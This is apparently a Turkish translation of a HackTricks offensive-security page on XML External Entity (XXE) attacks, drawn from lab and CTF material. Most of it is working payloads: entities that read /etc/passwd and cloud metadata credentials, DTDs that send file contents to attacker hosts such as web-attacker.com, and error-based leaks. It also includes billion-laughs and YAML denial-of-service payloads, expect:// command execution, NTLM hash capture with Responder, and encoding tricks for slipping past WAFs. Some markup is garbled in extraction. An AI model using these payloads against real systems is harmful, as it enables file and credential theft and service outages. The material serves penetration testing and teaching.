XXE - XEE - XML Dış Varlığı
Reading time: 28 minutes
{{#include /banners/hacktricks-training.md}}
- Dojo CTF Challenge #42 – Hex Renk Paleti XXE yazısı
- lxml hatası #2107279 – Parametre-varlığı XXE hala mümkün
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
XML Temelleri
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolü nedeniyle hala önemlidir.
- Varlıklar aracılığıyla Veri Temsili: XML'deki varlıklar,
<
ve>
ile çelişki yaşamamak için<
ve>
gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar. - XML Elemanlarının Tanımlanması: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
- Belge Türü Tanımı (DTD): DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
- Özel ve Dış Varlıklar: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
- Parametre Varlıkları ile XXE Tespiti: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Ana saldırılar
Yeni Varlık testi
Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
Dosya oku
/etc/passwd
dosyasını farklı şekillerde okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: C:\windows\system32\drivers\etc\hosts
Bu ilk durumda, SYSTEM "**file:///**etc/passwd" ifadesinin de çalışacağını unutmayın.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
Bu üçüncü durumda Element stockCheck
'i ANY olarak tanımladığımıza dikkat edin.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
Dizin listeleme
Java tabanlı uygulamalarda, bir yük ile bir dizinin içeriğini listelemek mümkün olabilir (dosya yerine sadece dizini istemek):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabilir.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
Daha önce bahsedilen teknik kullanarak sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de XML varlıklarına izin verilmediği içindir, bu durumda XML parametre varlıkları kullanmayı deneyebilirsiniz:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"Blind" SSRF - Dışarıya veri sızdırma
Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu _ftp://_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak xxe-ftp-server.rb). Bu açıklama, Portswiggers lab burada** temel alınarak yapılmıştır.**
Verilen kötü niyetli DTD'de, verileri sızdırmak için bir dizi adım gerçekleştirilir:
Kötü Niyetli DTD Örneği:
Yapı şu şekildedir:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Bu DTD tarafından yürütülen adımlar şunlardır:
- Parametre Varlıklarının Tanımı:
- Bir XML parametre varlığı,
%file
,/etc/hostname
dosyasının içeriğini okuyarak oluşturulur. - Başka bir XML parametre varlığı,
%eval
, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan%exfiltrate
'i beyan eder.%exfiltrate
varlığı, URL'nin sorgu dizesi içinde%file
varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
- Varlıkların Yürütülmesi:
%eval
varlığı kullanılır, bu da%exfiltrate
varlığının dinamik beyanının yürütülmesine yol açar.- Ardından
%exfiltrate
varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle http://web-attacker.com/malicious.dtd
gibi bir URL'de.
XXE Yükü: Zayıf bir uygulamayı istismar etmek için saldırgan bir XXE yükü gönderir:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Bu yük, bir XML parametre varlığı %xxe
tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından ayrıştırıcı, DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve /etc/hostname
dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
Hata Tabanlı (Dış DTD)
Bu durumda, sunucunun bir hata mesajı içinde bir dosyanın içeriğini gösterecek kötü niyetli bir DTD yüklemesini sağlayacağız (bu, hata mesajlarını görebiliyorsanız geçerlidir). Buradan örnek.
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, /etc/passwd
dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
file
adında bir XML parametre varlığı tanımlanır; bu varlık,/etc/passwd
dosyasının içeriğini içerir.eval
adında bir XML parametre varlığı tanımlanır ve bu varlık,error
adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Buerror
varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır vefile
varlığının içeriğini ad olarak kullanır.eval
varlığı çağrılır veerror
varlığının dinamik tanımına yol açar.error
varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak/etc/passwd
dosyasının içeriğini içeren bir hata mesajı üretir.
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Web sunucusunun yanıtı, /etc/passwd
dosyasının içeriğini gösteren bir hata mesajı içermelidir.
Dış DTD'nin, ikinci eval
içinde bir varlık dahil etmemize izin verdiğini, ancak iç DTD'de bunun yasak olduğunu lütfen unutmayın. Bu nedenle, genellikle dış DTD kullanmadan bir hatayı zorlayamazsınız.
Hata Tabanlı (sistem DTD)
Peki, dış bağlantılar engellendiğinde kör XXE zafiyetleri hakkında ne söyleyebiliriz (dış bağlantılar mevcut değil)?
XML dil spesifikasyonundaki bir boşluk, bir belgenin DTD'si iç ve dış tanımları birleştirdiğinde hata mesajları aracılığıyla hassas verileri açığa çıkarabilir. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dış bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
Sunucunun dosya sisteminde /usr/local/app/schema.dtd
konumunda custom_entity
adında bir varlık tanımlayan bir DTD dosyası olduğunu varsayalım. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek /etc/passwd
dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
local_dtd
adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.- Dış DTD'de orijinal olarak tanımlanan
custom_entity
XML parametre varlığı için bir yeniden tanım yapılır; bu, bir hata tabanlı XXE istismarı kapsamak üzere tasarlanmıştır. Bu yeniden tanım,/etc/passwd
dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır. local_dtd
varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanancustom_entity
'yi kapsar. Bu eylemler dizisi, istismara yönelik hata mesajının iletilmesine neden olur.
Gerçek dünya örneği: GNOME masaüstü ortamını kullanan sistemler genellikle /usr/share/yelp/dtd/docbookx.dtd
konumunda ISOamso
adlı bir varlık içeren bir DTD'ye sahiptir.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Bu teknik içsel DTD kullandığı için önce geçerli bir tane bulmanız gerekiyor. Bunu **sunucunun kullandığı aynı İşletim Sistemi / Yazılımı yükleyerek ve bazı varsayılan DTD'leri arayarak yapabilirsiniz veya sistemler içindeki varsayılan DTD'lerin bir listesini alıp bunlardan herhangi birinin var olup olmadığını kontrol edebilirsiniz:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Daha fazla bilgi için https://portswigger.net/web-security/xxe/blind adresini kontrol edin.
Sistemde DTD'leri Bulma
Aşağıdaki harika github reposunda sistemde mevcut olabilecek DTD'lerin yollarını bulabilirsiniz:
dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub
Ayrıca, eğer kurban sisteminin Docker imajına sahipseniz, aynı repo içindeki aracı kullanarak imajı tarayabilir ve sistemde mevcut olan DTD'lerin yolunu bulabilirsiniz. Nasıl yapılacağını öğrenmek için Github'ın Readme'sini okuyun.
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
Bu saldırının daha derinlemesine bir açıklaması için, Detectify'den bu harika yazının ikinci bölümüne göz atın.
Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
Bu güvenlik açığını test etmek için, XXE yükü içeren bir Microsoft Office dosyası oluşturmak gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
Belge çıkarıldıktan sonra, ./unzipped/word/document.xml
konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesini umabilirsiniz.
Jar: protocol
jar protokolü yalnızca Java uygulamaları içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzak dosyalar için PKZIP arşivinde (örneğin, .zip
, .jar
, vb.) dosya erişimini sağlamak için tasarlanmıştır.
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
caution
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır. Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın.
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir:
- Belirtilen bir konumdan, örneğin
https://download.website.com/archive.zip
, zip arşivini indirmek için bir HTTP isteği yapılır. - Arşivi içeren HTTP yanıtı, genellikle
/tmp/...
gibi bir konumda sistemde geçici olarak saklanır. - Arşiv, içeriğine erişmek için çıkarılır.
- Arşiv içindeki belirli dosya,
file.zip
, okunur. - İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir.
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuza kadar açık tutmaktır. Bu amaçla kullanılabilecek araçlar bu depoda mevcuttur; bunlar arasında bir Python sunucusu (slow_http_server.py
) ve bir Java sunucusu (slowserver.jar
) bulunmaktadır.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
caution
Geçici bir dizine dosya yazmak, bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi).
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
Milyonlarca Kahkaha Saldırısı
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml Saldırısı
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
İkincil Patlama Saldırısı
NTML Alma
Windows sunucularında, bir responder.py işleyicisi ayarlayarak web sunucusu kullanıcısının NTML hash'ini almak mümkündür:
Responder.py -I eth0 -v
ve aşağıdaki isteği göndererek
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
Gizli XXE Yüzeyleri
XInclude
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da DOCTYPE
öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir XInclude
saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından üretilen bir XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir XInclude
saldırısını gerçekleştirmek için, XInclude
ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Daha fazla bilgi için https://portswigger.net/web-security/xxe adresini kontrol edin!
SVG - Dosya Yükleme
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
Kullanıcılar görüntü yüklediğinde, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla komutları çalıştırmayı denemeyi içerir:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
SVG format, her iki durumda da sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır ve bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
Daha fazla bilgi için https://portswigger.net/web-security/xxe adresini kontrol edin!
Okunan dosyanın veya yürütme sonucunun ilk satırı, oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.
PDF - Dosya yükleme
Aşağıdaki gönderiyi okuyarak bir PDF dosyasını yükleyerek XXE'yi nasıl istismar edeceğinizi öğrenin:
PDF Upload - XXE and CORS bypass
İçerik Türü: x-www-urlencoded'dan XML'e
Eğer bir POST isteği verileri XML formatında kabul ediyorsa, o istekte bir XXE'yi istismar etmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
O zaman aşağıdaki isteği aynı sonuçla gönderebilirsiniz:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: JSON'dan XEE'ye
İsteği değiştirmek için “Content Type Converter” adlı bir Burp Eklentisi kullanabilirsiniz. Burada bu örneği bulabilirsiniz:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
Başka bir örnek burada bulunabilir.
WAF & Koruma Aşma
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
Bu yalnızca XML sunucusu data://
protokolünü kabul ediyorsa çalışır.
UTF-7
Burada ["Encode Recipe" of cyberchef kullanabilirsiniz](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7'ye dönüştürmek için.
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ Protokol Atlatma
Eğer web PHP kullanıyorsa, file:/
yerine php wrappersphp://filter/convert.base64-encode/resource=
kullanarak iç dosyalara erişebilirsiniz.
Eğer web Java kullanıyorsa jar: protokolünü kontrol edebilirsiniz.
HTML Varlıkları
https://github.com/Ambrotd/XXE-Notes adresinden bir hile
Bir varlık içinde bir varlık oluşturabilir, bunu html varlıkları ile kodlayabilir ve ardından dtd yüklemek için çağırabilirsiniz.
Kullanılan HTML Varlıkları'nın sayısal olması gerektiğini unutmayın (örneğin [bu örnekte](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD örneği:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Sargıları
Base64
Çıkar index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
Dış kaynağı çıkar
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
Uzaktan kod yürütme
Eğer PHP "expect" modülü yüklüyse
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
Bu örnek, https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe adresinden esinlenmiştir.
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür.
Blind Request Analizi
Aşağıdaki içerikle sunucuya bir istek yapılır:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bildirimleriyle ilgili bir sorun olduğunu belirtir:
{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir.
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır.
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
Sunucu, önemli bir şekilde mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor ve sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
